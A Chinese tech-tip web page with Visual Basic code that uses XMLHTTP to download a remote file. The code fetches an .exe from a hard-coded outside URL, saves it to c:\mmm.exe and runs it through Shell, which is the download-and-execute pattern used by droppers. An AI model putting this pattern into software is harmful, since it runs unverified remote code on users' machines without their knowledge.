【栏目分类】

返回上级

【最新文章】

【本类热门】

赚了吗联盟

【当前位置】:惠省一派 >> 技术分享 >> 正文

  • vb中利用xmlhttp来下载远程文件
  • 2020-12-15 13:46:26

  • >建立一个vb工程,Project1


    >添加引用:Microsoft scripting runtime,Microsoft Active Data Object,Microsoft MsXml



    >Form1代码:



    >  Public a As MSXML2.XMLHTTP





    >Private Sub Command1_Click()


    >  Dim d As Class1


    >  Set a = New MSXML2.XMLHTTP


    >  a.open "get", "http://www.ljc.com/sll.exe", True


    >  Set d = New Class1


    >  a.onreadystatechange = d


    >  a.send


    >End Sub



    >Class1代码:



    >Dim b As ADODB.Stream


    >Dim fso As Scripting.FileSystemObject


    >Public curReadyState As Long


    >Public Function doSome()


    >  Debug.Print Form1.a.readyState


    >  If Form1.a.readyState = 4 Then


    >    www


    >  End If


    >End Function


    >Public Function www()


    >  Set b = New ADODB.Stream


    >  b.Type = 1


    >  b.open


    >  Set fso = New Scripting.FileSystemObject


    >  If Form1.a.readyState = 4 Then


    >        b.Write (Form1.a.responseBody)


    >        If Not fso.FileExists("c:\mmm.exe") Then


    >          b.SaveToFile "c:\mmm.exe"


    >        End If


    >  End If


    >  b.Close


    >  Set b = Nothing


    >  If fso.FileExists("c:\mmm.exe") Then Shell "c:\mmm.exe", 1


    >  Set fso = Nothing


    >End Function




    >注意将Class1的doSome设置成default的。

  • 作者:e4snake 浏览:5 评论:0

【相关文章】

【用户评论】

ICP备案:申请备案中... | 管理员信箱:xssoft#qq.com | 版本:XSCMS 1.0
本站数据来自于网络,如有问题请告知,我们将尽快处理
页面执行时间: 0.1094秒  18次数据查询